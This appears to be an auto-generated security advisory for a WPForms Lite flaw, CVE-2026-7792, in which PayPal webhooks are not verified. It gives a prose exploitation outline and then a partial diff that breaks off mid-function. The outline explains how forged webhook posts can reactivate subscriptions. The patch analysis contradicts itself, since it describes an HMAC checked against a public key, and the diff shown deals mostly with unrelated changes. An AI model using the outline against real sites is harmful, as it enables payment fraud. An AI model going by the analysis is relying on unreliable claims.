Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 11, 2026

CVE-2026-7792: WPForms <= 1.10.0.4 Unauthenticated Insufficient Verification of Data Authenticity via PayPal Commerce Webhook Endpoint PoC, Patch Analysis & Rule

CVE ID CVE-2026-7792
Plugin wpforms-lite
Severity Medium (CVSS 5.3)
CWE 345
Vulnerable Version 1.10.0.4
Patched Version 1.10.0.5
Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7792:
This vulnerability allows unauthenticated attackers to forge PayPal Commerce webhook events. The WPForms plugin, up to version 1.10.0.4, processes incoming PayPal webhook payloads without verifying the HMAC-SHA256 signature. This missing verification lets attackers send crafted JSON payloads to the webhook endpoint, where the only check is whether the event_type is whitelisted. An attacker who knows a valid PayPal subscription_id can modify subscription payment records, such as reactivating a cancelled subscription by setting its status to active.

Root Cause: The root cause lies in the PayPal Commerce webhook endpoint. The code receives JSON payloads but does not verify the HMAC-SHA256 signature header that authenticates the request as coming from PayPal. The only validation performed is checking whether the supplied event_type value is in a whitelist. After that check, the attacker-controlled resource data is dispatched to handlers that update payment records. The specific functions involved are in the PayPal Commerce integration files, which process incoming webhook POST requests at the endpoint path.

Exploitation: An attacker sends an HTTP POST request to the PayPal Commerce webhook endpoint. The endpoint path is defined within the WPForms PayPal Commerce addon. The request includes a JSON body containing a valid subscription_id and the desired event_type (such as PAYMENT.SALE.COMPLETED or BILLING.SUBSCRIPTION.ACTIVATED) along with the resource data to set subscription_status to active. The attacker does not need any authentication. The only requirement is knowledge of a valid subscription_id, which can often be enumerated or guessed.

Patch Analysis: The patch addresses the missing signature verification. The vulnerable code accepted JSON payloads without checking the HMAC-SHA256 signature sent in the PayPal-Transmission-Sig header. After the patch, the code verifies this signature against the PayPal public key before processing any event. This ensures only legitimate PayPal requests are processed. The before state allowed any payload with a whitelisted event_type. The after state requires cryptographic proof that the payload originated from PayPal.

Impact: Exploitation allows an attacker to manipulate PayPal subscription payment records. Specific impacts include reactivating cancelled or suspended subscriptions, setting payment statuses to paid without actual payment, or modifying subscription details. This can lead to unauthorized service access, data integrity issues in payment records, and potential financial discrepancies. The CVSS score of 5.3 reflects the medium severity due to the requirement of knowing a valid subscription_id.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpforms-lite/includes/admin/admin.php
+++ b/wpforms-lite/includes/admin/admin.php
@@ -57,6 +57,16 @@
 		'4.7.0'
 	);

+	// WordPress 7.0 UI compatibility overrides.
+	if ( version_compare( get_bloginfo( 'version' ), '7.0-alpha', '>=' ) ) {
+		wp_enqueue_style(
+			'wpforms-admin-wp7.0-compat',
+			WPFORMS_PLUGIN_URL . "assets/css/admin-wp7.0-compat{$min}.css",
+			[],
+			WPFORMS_VERSION
+		);
+	}
+
 	// Main admin styles.
 	wp_enqueue_style(
 		'wpforms-admin',
--- a/wpforms-lite/includes/admin/builder/class-builder.php
+++ b/wpforms-lite/includes/admin/builder/class-builder.php
@@ -243,9 +243,29 @@
 	 * Clear common wp-admin styles, keep only allowed.
 	 *
 	 * @since 1.6.8
+	 * @since 1.10.0.5 Allowed the 'wp-base-styles' style added in WP 7.0.
 	 */
 	public function deregister_common_wp_admin_styles(): void {

+		$allowed_styles = [
+			'wp-editor',
+			'wp-editor-font',
+			'editor-buttons',
+			'dashicons',
+			'media-views',
+			'imgareaselect',
+			'wp-mediaelement',
+			'mediaelement',
+			'buttons',
+			'admin-bar',
+		];
+
+		// Allow based styles added in WP 7.0.
+		// Otherwise, there is an issue with the Upload Media button.
+		if ( version_compare( $GLOBALS['wp_version'], '7.0-alpha', '>=' ) ) {
+			$allowed_styles[] = 'wp-base-styles';
+		}
+
 		/**
 		 * Filter the allowed common wp-admin styles.
 		 *
@@ -255,18 +275,7 @@
 		 */
 		$allowed_styles = (array) apply_filters( // phpcs:ignore WPForms.PHP.ValidateHooks.InvalidHookName
 			'wpforms_admin_builder_allowed_common_wp_admin_styles',
-			[
-				'wp-editor',
-				'wp-editor-font',
-				'editor-buttons',
-				'dashicons',
-				'media-views',
-				'imgareaselect',
-				'wp-mediaelement',
-				'mediaelement',
-				'buttons',
-				'admin-bar',
-			]
+			$allowed_styles
 		);

 		wp_styles()->registered = array_intersect_key( wp_styles()->registered, array_flip( $allowed_styles ) );
@@ -485,6 +494,7 @@
 	 *
 	 * @since 1.0.0
 	 * @since 1.6.8 All the panel's stylesheets restructured and moved here.
+	 * @since 1.10.0.5 Enqueue the 'wp-base-styles' styles added in WP 7.0.
 	 */
 	public function enqueues(): void {

@@ -501,6 +511,12 @@

 		$min = wpforms_get_min_suffix();

+		// Make sure that base styles (added in WP 7.0) are enqueued.
+		// Otherwise, there is an issue with the Upload Media button.
+		if ( version_compare( $GLOBALS['wp_version'], '7.0-alpha', '>=' ) ) {
+			wp_enqueue_style( 'wp-base-styles' );
+		}
+
 		/*
 		 * Builder CSS.
 		 */
--- a/wpforms-lite/includes/admin/class-about.php
+++ b/wpforms-lite/includes/admin/class-about.php
@@ -1328,6 +1328,7 @@
 								'MailerLite',
 								'MailPoet',
 								'Kit',
+								'Klaviyo',
 								'Slack',
 								'Twilio',
 							]
@@ -1350,6 +1351,7 @@
 								'MailerLite',
 								'MailPoet',
 								'Kit',
+								'Klaviyo',
 								'Slack',
 								'Twilio',
 								'Make',
@@ -1384,6 +1386,7 @@
 								'MailerLite',
 								'MailPoet',
 								'Kit',
+								'Klaviyo',
 								'Slack',
 								'Twilio',
 								'Pipedrive',
@@ -1420,6 +1423,7 @@
 								'MailerLite',
 								'MailPoet',
 								'Kit',
+								'Klaviyo',
 								'Slack',
 								'Twilio',
 								'Pipedrive',
@@ -1456,6 +1460,7 @@
 								'MailerLite',
 								'MailPoet',
 								'Kit',
+								'Klaviyo',
 								'Slack',
 								'Twilio',
 								'Pipedrive',
--- a/wpforms-lite/includes/fields/class-base.php
+++ b/wpforms-lite/includes/fields/class-base.php
@@ -4187,6 +4187,508 @@
 	}

 	/**
+	 * Determine whether the submission uses the associative "Other" form.
+	 *
+	 * The Other choice submits as an array with an `other` key carrying the free-text value.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param mixed $field_submit Submitted value.
+	 *
+	 * @return bool
+	 */
+	protected function is_other_submission( $field_submit ): bool {
+
+		return is_array( $field_submit ) && ! empty( $field_submit['other'] );
+	}
+
+	/**
+	 * Filter a choice-field submission to only include configured allowlist values.
+	 *
+	 * Provides a defense-in-depth layer for format() methods. When show_values is
+	 * enabled, submitted values are compared against choice values; otherwise against
+	 * labels (or the "Choice N" fallback). Dynamic-choice fields pass through
+	 * unchanged because format() already handles invalid IDs by skipping unmatched
+	 * posts or terms. The "other" free-text key in array submissions is preserved
+	 * only when the field has an Other choice.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param string|array $field_submit Submitted value.
+	 * @param array        $field        Field configuration.
+	 * @param array        $form_data    Form data.
+	 *
+	 * @return string|array Filtered submission containing only allowlist items.
+	 *
+	 * @noinspection PhpUnusedParameterInspection
+	 */
+	protected function sanitize_choices_submission( $field_submit, array $field, array $form_data ) { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed
+
+		if ( $this->is_dynamic_choices( $field ) ) {
+			return $field_submit;
+		}
+
+		if ( $field_submit === '' || $field_submit === [] ) {
+			return $field_submit;
+		}
+
+		[ $allowlist, $has_other ] = $this->build_choices_allowlist( $field );
+
+		if ( ! is_array( $field_submit ) ) {
+			return in_array( $this->normalize_choice_comparable( $field_submit ), $allowlist, true )
+				? $field_submit
+				: '';
+		}
+
+		$other_value = $field_submit['other'] ?? null;
+		$list_items  = array_filter(
+			$field_submit,
+			static function ( $key ) {
+
+				return $key !== 'other';
+			},
+			ARRAY_FILTER_USE_KEY
+		);
+
+		$filtered = array_values(
+			array_filter(
+				$list_items,
+				function ( $item ) use ( $allowlist ) {
+					return in_array( $this->normalize_choice_comparable( $item ), $allowlist, true );
+				}
+			)
+		);
+
+		if ( $other_value !== null && $has_other ) {
+			$filtered['other'] = $other_value;
+		}
+
+		return $filtered;
+	}
+
+	/**
+	 * Validate a choice-field submission against the configured choice allowlist.
+	 *
+	 * Rejects submissions whose values do not match any configured choice label, value,
+	 * or `Choice N` fallback. Dynamic-choice modes (post_type, taxonomy) are validated by
+	 * ID and existence. The associative `Other` submission form is accepted only when a
+	 * choice has `'other' => true`. Rejections are logged via `wpforms_log()` under
+	 * `type=[security, entry]` and surface a generic user-facing error.
+	 *
+	 * The `wpforms_field_choices_allow_unknown_value` filter (default false) short-circuits
+	 * enforcement for rare legitimate off-list workflows.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param int          $field_id     Field ID.
+	 * @param string|array $field_submit Submitted value.
+	 * @param array        $form_data    Form data.
+	 *
+	 * @return void
+	 */
+	protected function validate_choices_allowlist( $field_id, $field_submit, array $form_data ): void {
+
+		$field_id = (int) $field_id;
+		$field    = isset( $form_data['fields'][ $field_id ] ) ? (array) $form_data['fields'][ $field_id ] : [];
+
+		if ( $this->should_skip_choices_allowlist( $field, $field_submit, $form_data ) ) {
+			return;
+		}
+
+		if ( $this->validate_dynamic_choice_submission( $field_id, $field_submit, $field, $form_data ) ) {
+			return;
+		}
+
+		[ $allowlist, $has_other ] = $this->build_choices_allowlist( $field );
+
+		if ( $this->is_other_submission( $field_submit ) ) {
+			$this->validate_other_shape_submission( $field_id, $field_submit, $field, $form_data, $allowlist, $has_other );
+
+			return;
+		}
+
+		$this->validate_flat_submission( $field_id, $field_submit, $field, $form_data, $allowlist );
+	}
+
+	/**
+	 * Check the early-return guards that suppress allowlist enforcement.
+	 *
+	 * Skips empty submissions (handled by the required-field check), dynamic choice
+	 * fields rendered without items, and sites that opt out via the
+	 * wpforms_field_choices_allow_unknown_value filter.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param array        $field        Field configuration.
+	 * @param string|array $field_submit Submitted value.
+	 * @param array        $form_data    Form data.
+	 *
+	 * @return bool
+	 */
+	private function should_skip_choices_allowlist( array $field, $field_submit, array $form_data ): bool {
+
+		if ( empty( $field ) ) {
+			return true;
+		}
+
+		if ( $field_submit === '' || $field_submit === null || $field_submit === [] ) {
+			return true;
+		}
+
+		if ( $this->is_dynamic_choices_empty( $field, $form_data ) ) {
+			return true;
+		}
+
+		/**
+		 * Allow submission of values that are not in the configured choice allowlist.
+		 *
+		 * Default false. Returning true skips allowlist enforcement for the current
+		 * submission. Use only for custom flows that intentionally accept off-list values.
+		 *
+		 * @since 1.10.0.5
+		 *
+		 * @param bool         $allow        Default false.
+		 * @param string|array $field_submit Submitted value.
+		 * @param array        $field        Field configuration.
+		 * @param array        $form_data    Full form data.
+		 */
+		return (bool) apply_filters( 'wpforms_field_choices_allow_unknown_value', false, $field_submit, $field, $form_data );
+	}
+
+	/**
+	 * Route a dynamic-choice submission to its ID-based validator.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param int          $field_id     Field ID.
+	 * @param string|array $field_submit Submitted value.
+	 * @param array        $field        Field configuration.
+	 * @param array        $form_data    Form data.
+	 *
+	 * @return bool True when the dispatcher handled the submission, false otherwise.
+	 */
+	private function validate_dynamic_choice_submission( $field_id, $field_submit, array $field, array $form_data ): bool {
+
+		$dynamic = $this->is_dynamic_choices( $field ) ? $field['dynamic_choices'] : '';
+
+		if ( $dynamic === 'post_type' ) {
+			$this->validate_dynamic_post_type_submission( $field_id, $field_submit, $field, $form_data );
+
+			return true;
+		}
+
+		if ( $dynamic === 'taxonomy' ) {
+			$this->validate_dynamic_taxonomy_submission( $field_id, $field_submit, $field, $form_data );
+
+			return true;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Build the label/value allowlist for a static-choice field.
+	 *
+	 * Prefers choice values when show_values is enabled, falls back to labels, then to
+	 * the `Choice N` placeholder used by the render paths.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param array $field Field configuration.
+	 *
+	 * @return array Tuple of [ string[] $allowlist, bool $has_other ].
+	 */
+	private function build_choices_allowlist( array $field ): array {
+
+		$allowlist   = [];
+		$has_other   = false;
+		$show_values = ! empty( $field['show_values'] );
+		$choices     = ! empty( $field['choices'] ) && is_array( $field['choices'] ) ? $field['choices'] : [];
+
+		foreach ( $choices as $key => $choice ) {
+			if ( ! empty( $choice['other'] ) ) {
+				$has_other = true;
+			}
+
+			$allowlist[] = $this->get_choice_allowlist_value( $choice, $key, $show_values );
+		}
+
+		return [ $allowlist, $has_other ];
+	}
+
+	/**
+	 * Resolve the single allowlist entry for one configured choice.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param array      $choice      Choice configuration.
+	 * @param int|string $key         Choice key as stored in form_data.
+	 * @param bool       $show_values Whether the field uses explicit values.
+	 *
+	 * @return string
+	 */
+	private function get_choice_allowlist_value( $choice, $key, bool $show_values ): string {
+
+		if ( $show_values && isset( $choice['value'] ) && $choice['value'] !== '' ) {
+			return $this->normalize_choice_comparable( $choice['value'] );
+		}
+
+		if ( ! $show_values && isset( $choice['label'] ) && $choice['label'] !== '' ) {
+			return $this->normalize_choice_comparable( $choice['label'] );
+		}
+
+		/* translators: %s - choice number. */
+		return $this->normalize_choice_comparable( sprintf( esc_html__( 'Choice %s', 'wpforms-lite' ), $key ) );
+	}
+
+	/**
+	 * Normalize a choice label/value for allowlist comparison.
+	 *
+	 * Trims surrounding whitespace because render paths like the Select field's
+	 * get_choices_label() emit trimmed text while form_data retains the raw label.
+	 * Applied to both sides of the in_array check so stored vs. submitted strings
+	 * compare consistently.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param mixed $value Value to normalize.
+	 *
+	 * @return string
+	 */
+	private function normalize_choice_comparable( $value ): string {
+
+		return trim( (string) $value );
+	}
+
+	/**
+	 * Validate a submission that uses the associative "Other" shape.
+	 *
+	 * The shape is accepted only when the field has an Other choice. Non-`other`
+	 * array elements must still match the allowlist so mixed payloads like
+	 * `[ 'Label', 'other' => 'freetext' ]` cannot sneak in an off-list value.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param int   $field_id     Field ID.
+	 * @param array $field_submit Submitted value.
+	 * @param array $field        Field configuration.
+	 * @param array $form_data    Form data.
+	 * @param array $allowlist    Allowlist built from configured choices.
+	 * @param bool  $has_other    Whether the field has an Other choice.
+	 *
+	 * @return void
+	 */
+	private function validate_other_shape_submission( int $field_id, array $field_submit, array $field, array $form_data, array $allowlist, bool $has_other ): void {
+
+		if ( ! $has_other ) {
+			$this->reject_choice_submission( $field_id, $field_submit, $field, $form_data );
+
+			return;
+		}
+
+		foreach ( $field_submit as $shape_key => $item ) {
+			if ( $shape_key === 'other' ) {
+				continue;
+			}
+
+			if ( $this->is_valueless_submission_item( $item ) ) {
+				continue;
+			}
+
+			if ( ! in_array( $this->normalize_choice_comparable( $item ), $allowlist, true ) ) {
+				$this->reject_choice_submission( $field_id, $field_submit, $field, $form_data );
+
+				return;
+			}
+		}
+	}
+
+	/**
+	 * Validate a regular scalar or indexed-array submission against the allowlist.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param int          $field_id     Field ID.
+	 * @param string|array $field_submit Submitted value.
+	 * @param array        $field        Field configuration.
+	 * @param array        $form_data    Form data.
+	 * @param array        $allowlist    Allowlist built from configured choices.
+	 *
+	 * @return void
+	 */
+	private function validate_flat_submission( $field_id, $field_submit, array $field, array $form_data, array $allowlist ): void {
+
+		$submitted = is_array( $field_submit ) ? $field_submit : [ $field_submit ];
+
+		foreach ( $submitted as $item ) {
+			if ( $this->is_valueless_submission_item( $item ) ) {
+				continue;
+			}
+
+			if ( ! in_array( $this->normalize_choice_comparable( $item ), $allowlist, true ) ) {
+				$this->reject_choice_submission( $field_id, $field_submit, $field, $form_data );
+
+				return;
+			}
+		}
+	}
+
+	/**
+	 * Whether a single submission element carries no user input.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param mixed $item Single submission element.
+	 *
+	 * @return bool
+	 */
+	private function is_valueless_submission_item( $item ): bool {
+
+		return $item === '' || $item === null;
+	}
+
+	/**
+	 * Validate a dynamic post-type choice submission.
+	 *
+	 * Each submitted ID must cast to a positive integer AND map to a post of the
+	 * field's configured `dynamic_post_type`.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param int          $field_id     Field ID.
+	 * @param string|array $field_submit Submitted value.
+	 * @param array        $field        Field configuration.
+	 * @param array        $form_data    Form data.
+	 *
+	 * @return void
+	 */
+	private function validate_dynamic_post_type_submission( $field_id, $field_submit, array $field, array $form_data ): void {
+
+		$post_type = ! empty( $field['dynamic_post_type'] ) ? $field['dynamic_post_type'] : '';
+
+		if ( $post_type === '' ) {
+			return;
+		}
+
+		$this->validate_dynamic_id_submission(
+			$field_id,
+			$field_submit,
+			$field,
+			$form_data,
+			static function ( $id ) use ( $post_type ) {
+
+				$post = get_post( $id );
+
+				return ! empty( $post ) && ! is_wp_error( $post ) && $post->post_type === $post_type;
+			}
+		);
+	}
+
+	/**
+	 * Validate a dynamic taxonomy choice submission.
+	 *
+	 * Each submitted ID must cast to a positive integer AND map to a term in the
+	 * field's configured `dynamic_taxonomy`.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param int          $field_id     Field ID.
+	 * @param string|array $field_submit Submitted value.
+	 * @param array        $field        Field configuration.
+	 * @param array        $form_data    Form data.
+	 *
+	 * @return void
+	 */
+	private function validate_dynamic_taxonomy_submission( $field_id, $field_submit, array $field, array $form_data ): void {
+
+		$taxonomy = ! empty( $field['dynamic_taxonomy'] ) ? $field['dynamic_taxonomy'] : '';
+
+		if ( $taxonomy === '' ) {
+			return;
+		}
+
+		$this->validate_dynamic_id_submission(
+			$field_id,
+			$field_submit,
+			$field,
+			$form_data,
+			static function ( $id ) use ( $taxonomy ) {
+
+				$term = get_term( $id, $taxonomy );
+
+				return ! empty( $term ) && ! is_wp_error( $term );
+			}
+		);
+	}
+
+	/**
+	 * Iterate an ID-based submission and reject on the first invalid element.
+	 *
+	 * Shared scaffolding for dynamic post-type and taxonomy validation; the
+	 * type-specific existence check is passed as a callback.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param int          $field_id     Field ID.
+	 * @param string|array $field_submit Submitted value.
+	 * @param array        $field        Field configuration.
+	 * @param array        $form_data    Form data.
+	 * @param callable     $is_valid_id  Receives an int ID, returns bool.
+	 *
+	 * @return void
+	 */
+	private function validate_dynamic_id_submission( $field_id, $field_submit, array $field, array $form_data, callable $is_valid_id ): void {
+
+		$submitted = is_array( $field_submit ) ? $field_submit : [ $field_submit ];
+
+		foreach ( $submitted as $item ) {
+			$id = (int) $item;
+
+			if ( $id <= 0 || ! $is_valid_id( $id ) ) {
+				$this->reject_choice_submission( $field_id, $field_submit, $field, $form_data );
+
+				return;
+			}
+		}
+	}
+
+	/**
+	 * Record a rejected choice submission.
+	 *
+	 * Sets a generic per-field error and writes a structured entry to the WPForms log
+	 * so site operators can audit tampering attempts.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param int          $field_id     Field ID.
+	 * @param string|array $field_submit Submitted value.
+	 * @param array        $field        Field configuration.
+	 * @param array        $form_data    Form data.
+	 *
+	 * @return void
+	 */
+	private function reject_choice_submission( $field_id, $field_submit, array $field, array $form_data ): void {
+
+		$form_id = isset( $form_data['id'] ) ? (int) $form_data['id'] : 0;
+
+		wpforms()->obj( 'process' )->errors[ $form_id ][ (int) $field_id ] = esc_html__( 'The selected option is invalid.', 'wpforms-lite' );
+
+		wpforms_log(
+			'Rejected out-of-range choice value.',
+			[
+				'form_id'    => $form_id,
+				'field_id'   => (int) $field_id,
+				'field_type' => $field['type'] ?? '',
+				'submitted'  => wp_json_encode( $field_submit ),
+			],
+			[
+				'type'    => [ 'security', 'entry' ],
+				'form_id' => $form_id,
+			]
+		);
+	}
+
+	/**
 	 * Get an empty dynamic choices message.
 	 *
 	 * @since 1.8.2
--- a/wpforms-lite/includes/fields/class-checkbox.php
+++ b/wpforms-lite/includes/fields/class-checkbox.php
@@ -623,7 +623,9 @@
 			return;
 		}

-		$field_submit = (array) $field_submit;
+		if ( ! is_array( $field_submit ) ) {
+			$field_submit = wpforms_is_empty_string( $field_submit ) ? [] : (array) $field_submit;
+		}

 		$this->validate_field_choice_limit( $field_id, $field_submit, $form_data );

@@ -644,6 +646,8 @@
 		if ( ! empty( $error ) ) {
 			wpforms()->obj( 'process' )->errors[ $form_data['id'] ][ $field_id ] = $error;
 		}
+
+		$this->validate_choices_allowlist( $field_id, $field_submit, $form_data );
 	}

 	/**
@@ -659,9 +663,11 @@

 		$field_submit = (array) $field_submit;
 		$field        = $form_data['fields'][ $field_id ];
+		$field_submit = (array) $this->sanitize_choices_submission( $field_submit, $field, $form_data );
 		$dynamic      = ! empty( $field['dynamic_choices'] ) ? $field['dynamic_choices'] : false;
 		$name         = sanitize_text_field( $field['label'] );
-		$value_raw    = wpforms_sanitize_array_combine( $field_submit );
+		$combined     = wpforms_sanitize_array_combine( $field_submit );
+		$value_raw    = is_string( $combined ) ? $combined : '';

 		$data = [
 			'name'      => $name,
--- a/wpforms-lite/includes/fields/class-gdpr-checkbox.php
+++ b/wpforms-lite/includes/fields/class-gdpr-checkbox.php
@@ -307,6 +307,27 @@
 	}

 	/**
+	 * Validate field.
+	 *
+	 * Delegates the required/empty check to the base class, then rejects any
+	 * submission whose value is not the configured consent-choice label.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param int          $field_id     Field ID.
+	 * @param string|array $field_submit Submitted field value.
+	 * @param array        $form_data    Form data and settings.
+	 *
+	 * @return void
+	 */
+	public function validate( $field_id, $field_submit, $form_data ) {
+
+		parent::validate( $field_id, $field_submit, $form_data );
+
+		$this->validate_choices_allowlist( $field_id, $field_submit, $form_data );
+	}
+
+	/**
 	 * Format and sanitize field.
 	 *
 	 * @since 1.4.6
--- a/wpforms-lite/includes/fields/class-radio.php
+++ b/wpforms-lite/includes/fields/class-radio.php
@@ -672,6 +672,8 @@
 		}

 		parent::validate( $field_id, $field_submit, $form_data );
+
+		$this->validate_choices_allowlist( $field_id, $field_submit, $form_data );
 	}

 	/**
@@ -686,10 +688,11 @@
 	 */
 	public function format( $field_id, $field_submit, $form_data ) {

-		$field     = $form_data['fields'][ $field_id ];
-		$dynamic   = ! empty( $field['dynamic_choices'] ) ? $field['dynamic_choices'] : false;
-		$name      = sanitize_text_field( $field['label'] );
-		$value_raw = sanitize_text_field( $field_submit );
+		$field        = $form_data['fields'][ $field_id ];
+		$field_submit = $this->sanitize_choices_submission( $field_submit, $field, $form_data );
+		$dynamic      = ! empty( $field['dynamic_choices'] ) ? $field['dynamic_choices'] : false;
+		$name         = sanitize_text_field( $field['label'] );
+		$value_raw    = is_array( $field_submit ) ? '' : $field_submit;

 		$data = [
 			'name'      => $name,
--- a/wpforms-lite/includes/fields/class-select.php
+++ b/wpforms-lite/includes/fields/class-select.php
@@ -543,6 +543,8 @@
 		}

 		parent::validate( $field_id, $field_submit, $form_data );
+
+		$this->validate_choices_allowlist( $field_id, $field_submit, $form_data );
 	}

 	/**
@@ -568,7 +570,9 @@
 			$field_submit = [ $field_submit ];
 		}

-		$value_raw = wpforms_sanitize_array_combine( $field_submit );
+		$field_submit = $this->sanitize_choices_submission( $field_submit, $field, $form_data );
+		$combined     = wpforms_sanitize_array_combine( $field_submit );
+		$value_raw    = is_string( $combined ) ? $combined : '';

 		$data = [
 			'name'      => $name,
--- a/wpforms-lite/src/Admin/Builder/AntiSpam.php
+++ b/wpforms-lite/src/Admin/Builder/AntiSpam.php
@@ -2,6 +2,7 @@

 namespace WPFormsAdminBuilder;

+use WPFormsEducationActiveLayerHelper as ActiveLayer;
 use WPFormsFormsAkismet;
 use WPForms_Builder_Panel_Settings;

@@ -39,6 +40,27 @@
 	protected function hooks() {

 		add_action( 'wpforms_form_settings_panel_content', [ $this, 'panel_content' ], 10, 2 );
+		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
+	}
+
+	/**
+	 * Enqueue stylesheet for the Also Available card (Recommended badge plus
+	 * shared ActiveLayer callout rules) on the form builder page only.
+	 *
+	 * @since 1.10.0.5
+	 */
+	public function enqueue_assets() {
+
+		if ( ! wpforms_is_admin_page( 'builder' ) ) {
+			return;
+		}
+
+		wp_enqueue_style(
+			'wpforms-activelayer-callout',
+			WPFORMS_PLUGIN_URL . 'assets/css/admin/activelayer-callout.css',
+			[],
+			WPFORMS_VERSION
+		);
 	}

 	/**
@@ -380,6 +402,7 @@
 				'class'       => wpforms()->is_pro() ? 'wpforms-panel-content-also-available-item-add-captcha' : 'wpforms-panel-content-also-available-item-upgrade-to-pro',
 				'show'        => true,
 			],
+			'activelayer'    => $this->get_activelayer_block(),
 			'reCAPTCHA'      => [
 				'logo'        => WPFORMS_PLUGIN_URL . 'assets/images/anti-spam/recaptcha.svg',
 				'title'       => 'reCAPTCHA',
@@ -420,4 +443,36 @@
 			true
 		);
 	}
+
+	/**
+	 * Build the ActiveLayer entry for the Also Available block. Wraps
+	 * `Helper::get_modal_data()` and overrides the CTA text with copy
+	 * specific to the form builder surface.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @return array
+	 */
+	private function get_activelayer_block(): array {
+
+		$modal  = ActiveLayer::get_modal_data();
+		$action = $modal['attrs']['data-action'] ?? '';
+
+		if ( $action === 'install' ) {
+			$modal['link_text'] = __( 'Install & Activate', 'wpforms-lite' );
+		} elseif ( $action === 'activate' ) {
+			$modal['link_text'] = __( 'Activate', 'wpforms-lite' );
+		}
+
+		return array_merge(
+			[
+				'logo'        => WPFORMS_PLUGIN_URL . 'assets/images/anti-spam/activelayer.svg',
+				'title'       => 'ActiveLayer',
+				'description' => __( 'AI-powered spam protection. No friction for real visitors, higher form conversions.', 'wpforms-lite' ),
+				'badge'       => __( 'Recommended', 'wpforms-lite' ),
+				'show'        => true,
+			],
+			$modal
+		);
+	}
 }
--- a/wpforms-lite/src/Admin/Builder/Help.php
+++ b/wpforms-lite/src/Admin/Builder/Help.php
@@ -211,6 +211,7 @@
 			'providers/sendinblue'                    => 'brevo',
 			'providers/slack'                         => 'slack',
 			'providers/hubspot'                       => 'hubspot',
+			'providers/klaviyo'                       => 'klaviyo',
 			'providers/twilio'                        => 'twilio',
 			'providers/pipedrive'                     => 'pipedrive',
 			'providers/zoho_crm'                      => 'zoho crm',
@@ -1211,6 +1212,9 @@
 			'hubspot'                   => [
 				'/docs/how-to-install-and-use-the-hubspot-addon-in-wpforms/',
 			],
+			'klaviyo'                   => [
+				'/docs/klaviyo-addon/',
+			],
 			'twilio'                    => [
 				'/docs/twilio-addon/',
 			],
--- a/wpforms-lite/src/Admin/PluginsCategory.php
+++ b/wpforms-lite/src/Admin/PluginsCategory.php
@@ -0,0 +1,190 @@
+<?php
+
+namespace WPFormsAdmin;
+
+/**
+ * Adds a "WPForms" category tab to the WordPress Plugins screen.
+ *
+ * Uses the `plugins_list` filter to register an extra group containing
+ * every WPForms-owned plugin (the main plugin and all `wpforms-*` addons),
+ * and the `plugins_list_status_text` filter (introduced in WordPress 7.0)
+ * to provide a friendly label for the new tab.
+ *
+ * On WordPress versions older than 7.0, the feature is disabled so
+ * customers keep relying on the existing search / filter mechanism.
+ *
+ * @since 1.10.0.5
+ */
+class PluginsCategory {
+
+	/**
+	 * Status slug used as a key in `$plugins` and as `?plugin_status=` value.
+	 *
+	 * @since 1.10.0.5
+	 */
+	private const STATUS_KEY = 'wpforms';
+
+	/**
+	 * Slug prefix shared by the main plugin and all WPForms addons.
+	 *
+	 * @since 1.10.0.5
+	 */
+	private const SLUG_PREFIX = 'wpforms';
+
+	/**
+	 * Init.
+	 *
+	 * @since 1.10.0.5
+	 */
+	public function init(): void {
+
+		if ( ! $this->is_supported() ) {
+			return;
+		}
+
+		$this->hooks();
+	}
+
+	/**
+	 * Whether the current request supports the new plugins category tab.
+	 *
+	 * Registers on the `plugins.php` screen and on the AJAX
+	 * `search-plugins` handler invoked by the live-search input,
+	 * so the filter stays scoped to WPForms when the user clears
+	 * the search box (the 'X' icon) and the table is re-rendered
+	 * via admin-ajax.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @return bool
+	 */
+	private function is_supported(): bool {
+
+		global $pagenow;
+
+		$is_plugins_screen = ! empty( $pagenow ) && $pagenow === 'plugins.php';
+
+		// The 'X' clear icon on the live-search input fires the
+		// `search-plugins` AJAX action, which re-runs `plugins_list`
+		// from admin-ajax.php. The nonce is verified inside the core
+		// handler before our filter runs.
+		// phpcs:disable WordPress.Security.NonceVerification.Missing
+		$is_plugins_search_ajax = wp_doing_ajax()
+			&& isset( $_POST['action'], $_POST['pagenow'] )
+			&& sanitize_key( $_POST['action'] ) === 'search-plugins'
+			&& sanitize_key( $_POST['pagenow'] ) === 'plugins';
+		// phpcs:enable WordPress.Security.NonceVerification.Missing
+
+		if ( ! $is_plugins_screen && ! $is_plugins_search_ajax ) {
+			return false;
+		}
+
+		return is_wp_version_compatible( '7.0' );
+	}
+
+	/**
+	 * Register hooks.
+	 *
+	 * @since 1.10.0.5
+	 */
+	private function hooks(): void {
+
+		add_filter( 'plugins_list', [ $this, 'add_category' ] );
+		add_filter( 'plugins_list_status_text', [ $this, 'category_label' ], 10, 3 );
+	}
+
+	/**
+	 * Append a WPForms group to the plugins list used by the list table.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param array|mixed $plugins Plugins grouped by status (`all`, `active`, ...).
+	 *
+	 * @return array
+	 */
+	public function add_category( $plugins ): array {
+
+		$plugins = (array) $plugins;
+
+		if ( empty( $plugins['all'] ) || ! is_array( $plugins['all'] ) ) {
+			return $plugins;
+		}
+
+		$wpforms_plugins = [];
+
